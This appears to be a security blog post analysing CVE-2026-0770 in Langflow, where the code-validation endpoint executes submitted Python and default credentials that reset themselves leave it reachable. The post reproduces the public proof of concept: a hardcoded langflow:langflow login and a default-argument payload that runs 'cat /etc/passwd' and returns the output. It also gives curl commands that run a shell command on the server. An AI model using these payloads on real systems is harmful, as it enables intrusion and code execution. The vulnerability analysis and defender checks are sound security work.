//nefariousplan

CVE-2026-0770: The validate Endpoint Compiles And Runs. The 2025 Patch Was An Auth Dependency. AUTO_LOGIN Ships True.

patterns

cve

proof of concept

On March 5, 2025, Langflow committed faac4db1 to close CVE-2025-3248. The diff is three lines. Two of them are imports. The third adds _current_user: CurrentActiveUser to the signature of post_validate_code. The function body did not change. The library function validate_code it calls did not change. The exec(code_obj) call inside validate_code did not change. The 2025 patch was an authentication dependency around a code-execution primitive nobody disputed was there.

Eleven months later, ZDI assigned CVE-2026-0770. Trend Micro's ZDI-26-036 advisory and NVD both describe an unauthenticated remote code execution against the validate endpoint, in Langflow 1.4.2, as root. The PoC opens with requests.post("/api/v1/login", data={"username": "langflow", "password": "langflow"}).

The validator validates by executing

The endpoint at POST /api/v1/validate/code accepts a JSON body of the shape {"code": "<python source>"} and returns a CodeValidationResponse describing whether the imports resolved and whether the function definitions compiled. The implementation is in src/backend/base/langflow/utils/validate.py. In Langflow 1.4.2 (the version the CVE names as affected), the function reads:

def validate_code(code):
    errors = {"imports": {"errors": []}, "function": {"errors": []}}

    try:
        tree = ast.parse(code)
    except Exception as e:  # noqa: BLE001
        errors["function"]["errors"].append(str(e))
        return errors

    add_type_ignores()
    tree.type_ignores = []

    # Evaluate the import statements
    for node in tree.body:
        if isinstance(node, ast.Import):
            for alias in node.names:
                try:
                    importlib.import_module(alias.name)
                except ModuleNotFoundError as e:
                    errors["imports"]["errors"].append(str(e))

    # Evaluate the function definition
    for node in tree.body:
        if isinstance(node, ast.FunctionDef):
            code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
            try:
                exec(code_obj)
            except Exception as e:  # noqa: BLE001
                errors["function"]["errors"].append(str(e))

    return errors

The comment on line 50 says Evaluate the function definition. The implementation of evaluate on the next two lines is compile plus exec. The validator does not inspect the AST for forbidden names. It does not check for __import__, eval, subprocess, os.system, or any other token a sandbox author would blocklist. It does not look at the function body at all. It compiles the FunctionDef AST node into a code object and runs that code object in the current process. The validation result is whether any of those steps raised an exception. This is the content-is-command shape at its purest: the route is named /validate/code, the function it calls is named validate_code, and the implementation of validate on user-supplied Python source is to feed it to the Python interpreter and report what happens.

The exception handler does one more thing. It catches Exception, calls str(e) on the caught instance, and appends the string to errors["function"]["errors"]. That list is the function.errors field of the JSON response. Anything the executed code raises, with whatever message the executed code attached, is reflected back to the caller in the response body.

The # noqa: BLE001 is ruff's rule against blind except Exception. The author who wrote the suppression knew the catch was broader than the lint rule wanted. The suppression is what makes the validator's response include any exception's string representation regardless of what the code did to produce it. The exfiltration channel for the executed code is the lint suppression.

The 2025 patch was three lines

CVE-2025-3248 was disclosed on March 5, 2025. Horizon3 found it. CISA added it to the Known Exploited Vulnerabilities catalog within weeks. The Flodrix botnet weaponized it before most operators had patched. The vendor's fix was committed the same day, in faac4db1:

 from fastapi import APIRouter, HTTPException
 from loguru import logger

+from langflow.api.utils import CurrentActiveUser
 from langflow.api.v1.base import Code, CodeValidationResponse, PromptValidationResponse, ValidatePromptRequest
 from langflow.base.prompts.api_utils import process_prompt_template
 from langflow.utils.validate import validate_code

 router = APIRouter(prefix="/validate", tags=["Validate"])


 @router.post("/code", status_code=200)
-async def post_validate_code(code: Code) -> CodeValidationResponse:
+async def post_validate_code(code: Code, _current_user: CurrentActiveUser) -> CodeValidationResponse:
     try:
         errors = validate_code(code.code)

Three lines added, two of which are imports. The body of post_validate_code is unchanged. The body of validate_code is unchanged. The exec(code_obj) is unchanged. The vendor's response to a CVSS 9.8 known-exploited remote code execution in a code-validation endpoint was to require that the caller be authenticated. There is no discussion in the commit, the PR (#6911), or the surrounding tests of whether code submitted to a validate/code endpoint should be exec'd. The patch's premise is that an authenticated user is allowed to run code as root inside the Langflow container, because the endpoint was designed for them to.

That premise is consistent with Langflow's product. Langflow is an AI workflow editor whose components are user-authored Python classes. The platform's value proposition is that a developer types a Python class into a Monaco editor in the browser, and the server compiles and runs it. The validate/code endpoint exists because the Monaco editor needs feedback while the developer types. The bug class is not that the endpoint runs code; the bug class is that the trust boundary around it is wrong.

CVE-2026-0770 is what happens when the patch closes the trust-boundary half and leaves the runs-code half.

The default username and password are both langflow

The CVE-2026-0770 PoC, Ez4rd1x1/CVE-2026-0770, is structured as a class with a login() method that runs before the exploit method. The login attempt is fixed:

def login(self) -> Optional[str]:
    login_url = urljoin(self.target_url, "/api/v1/login")
    response = self.session.post(
        login_url,
        data={"username": "langflow", "password": "langflow"},
        timeout=15
    )
    ...

The credentials are not configurable through the command line. They are not read from a file. They are not sniffed or harvested. They are hardcoded. The PoC author tried langflow:langflow against a Langflow instance and it worked.

src/backend/base/langflow/services/settings/constants.py:

DEFAULT_SUPERUSER = "langflow"
DEFAULT_SUPERUSER_PASSWORD = "langflow"  # noqa: S105

src/backend/base/langflow/services/settings/auth.py:

class AuthSettings(BaseSettings):
    ...
    AUTO_LOGIN: bool = True
    NEW_USER_IS_ACTIVE: bool = False
    SUPERUSER: str = DEFAULT_SUPERUSER
    SUPERUSER_PASSWORD: str = DEFAULT_SUPERUSER_PASSWORD

The package ships with AUTO_LOGIN: bool = True. The same file declares a pydantic field validator on the credential fields:

@field_validator("SUPERUSER", "SUPERUSER_PASSWORD", mode="before")
@classmethod
def validate_superuser(cls, value, info):
    if info.data.get("AUTO_LOGIN"):
        if value != DEFAULT_SUPERUSER:
            value = DEFAULT_SUPERUSER
            logger.debug("Resetting superuser to default value")
        if info.data.get("SUPERUSER_PASSWORD") != DEFAULT_SUPERUSER_PASSWORD:
            info.data["SUPERUSER_PASSWORD"] = DEFAULT_SUPERUSER_PASSWORD
            logger.debug("Resetting superuser password to default value")
        return value
    return value

The validator runs every time the settings are constructed. If AUTO_LOGIN is true, and the operator set LANGFLOW_SUPERUSER or LANGFLOW_SUPERUSER_PASSWORD to anything other than langflow, the validator overrides the configured value back to langflow and logs Resetting superuser to default value at debug level. An operator who sets a real password while leaving auto-login enabled will find the password silently reverted on every restart. The configured value, the setting the operator wrote in their .env or their Helm chart or their docker run command, is overwritten by the field validator before any code reads it. The log message is at debug level, which is off by default. An operator who reads the docs and changes the superuser password experiences no visible change to their cluster.

The 2025 patch added a Depends(get_current_active_user) to a code-execution endpoint. The default deployment has a superuser whose credentials are two identical hardcoded strings. The login endpoint accepts those credentials and returns a JWT. The JWT satisfies the dependency the 2025 patch added. The credentials cannot be overridden without first turning off auto-login, an operation the documentation describes as "production hardening" and the default Docker image does not perform.

The function body is pass

The PoC's payload is the part that earns the "Inclusion of Functionality from Untrusted Control Sphere" framing the CVE record uses:

def Zardy1x1(
    _ = (lambda r: (_ for _ in ()).throw(
        Exception(f"CMD_OUTPUT_START\n{r.stdout}\n{r.stderr}\nCMD_OUTPUT_END")
    ))(
        __import__("subprocess").run(
            'cat /etc/passwd',
            shell=True,
            capture_output=True,
            text=True,
            timeout=30
        )
    )
):
    pass

What the validator sees is a function definition. The function is named Zardy1x1. It has one parameter, _, with a default value. The function body is pass. An AST walker that checked only the function's body for forbidden constructs would see nothing to forbid.

What Python evaluates when the def statement runs is different from what the function body contains. Default-argument expressions are evaluated at function-definition time, in the enclosing scope, before the function object is created. The default-argument expression here is (lambda r: ...)(__import__("subprocess").run('cat /etc/passwd', shell=True, capture_output=True, text=True, timeout=30)). Python evaluates that expression in argument-binding order:

  1. __import__("subprocess").run(...) runs first. The shell command executes. Python receives a CompletedProcess with .stdout and .stderr populated.
  2. The lambda is called with that CompletedProcess as r.
  3. Inside the lambda, (_ for _ in ()) creates a generator-expression object that, if iterated, would produce nothing.
  4. .throw(Exception(...)) is called on the not-yet-started generator. generator.throw() on an inactive generator raises the supplied exception immediately in the caller's frame. The exception's message is the f-string f"CMD_OUTPUT_START\n{r.stdout}\n{r.stderr}\nCMD_OUTPUT_END".
  5. The exception propagates out of the default-argument expression, out of the def statement, and out of the exec(code_obj) call. The try/except block in validate_code catches it.
  6. str(e) produces a string that contains the captured stdout and stderr between the CMD_OUTPUT_START and CMD_OUTPUT_END markers.
  7. The string is appended to errors["function"]["errors"].
  8. The endpoint returns a 200 response with the string in the JSON payload.

The function Zardy1x1 never runs. There is no call site for it. The function body is pass. The exploit is the act of defining the function: the side-effect computation that Python performs to bind the default argument is the read primitive, and the artificial exception is the write primitive that carries the read's result back across the API boundary. The validator's compile(...) step parses the FunctionDef AST and emits bytecode whose first instruction is to evaluate the default expression and bind it to the function's __defaults__ tuple. The exec(code_obj) step runs that bytecode. The validator has nothing to inspect: the bytecode evaluating the default is well-formed Python that any compiler would emit for any function with a default argument.

A real validator for "is this a syntactically valid component" would ast.parse the code and check that nothing dangerous appears in the AST. The Langflow validator parses, then compiles, then executes. The validation result is "did execution raise."

The fix is to hide the endpoint from the OpenAPI schema

On February 10, 2026, eighteen days after NVD published CVE-2026-0770, Langflow committed e87870735 with the title docs: draft hide internal endpoints in spec. The relevant diff:

[email protected]("/code", status_code=200, dependencies=[Depends(get_current_active_user)])
[email protected]("/code", status_code=200, dependencies=[Depends(get_current_active_user)], include_in_schema=False)
 async def post_validate_code(code: Code) -> CodeValidationResponse:
     try:
         errors = validate_code(code.code)

include_in_schema=False is a FastAPI flag that excludes the route from the auto-generated OpenAPI specification. The endpoint is reachable. The endpoint still calls validate_code. validate_code still calls exec(code_obj). The default credentials still log in. The PoC, which hardcodes the URL /api/v1/validate/code, still works.

The vendor's response to a CVE for a code-execution endpoint was to remove the endpoint from the documentation of code-execution endpoints. The commit message includes test-hide-internal-endpoints and hide-more-endpoints from the branch's local commits, the wording that an engineer types when the task is "make this not appear in the spec."

This is the unpatchable-primitive shape made explicit. CVE-2025-3248 was patched by adding authentication. CVE-2026-33017 was patched by threading a source_flow_id argument through the build pipeline so caller-supplied flow data is ignored downstream. CVE-2026-0770 was patched by hiding the endpoint from the OpenAPI spec. The three patches do not touch the function the three CVEs reach. The function compiles and runs caller-supplied Python; the function is what Langflow does.

The pattern catalog calls this a design-debt-driver. The reading from the post on CVE-2026-33017 still holds: Langflow's product is a UI that lets users author Python components and a server that execs them, and every endpoint that touches a flow is an entry into the same primitive. The third entry the project has now produced is validate/code, and the response to its CVE is the response a project gives when the substrate cannot be defended directly.

The login endpoint accepts the password the vendor ships

A defender reading this post and looking at their Langflow deployment should run two commands. First:

curl -sS -X POST http://<langflow-host>:7860/api/v1/login \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=langflow&password=langflow'

A response containing access_token means the deployment is running with auto-login and default credentials. The auth gate the 2025 patch added is satisfied by anyone who can reach the login endpoint. Second:

curl -sS -X POST http://<langflow-host>:7860/api/v1/validate/code \
  -H "Authorization: Bearer <token from step 1>" \
  -H 'Content-Type: application/json' \
  -d '{"code":"def f(_=__import__(\"os\").system(\"id > /tmp/proof\")): pass"}'

A 200 response means the function-definition statement ran. /tmp/proof inside the container will contain the output of id. The exec is the function. The validator validates by executing. The 2025 patch fixed the door. The room is the same room.

PoC: Ez4rd1x1/CVE-2026-0770

The 2025 patch added a lock to the validate door. AUTO_LOGIN ships the key. The exec is the room.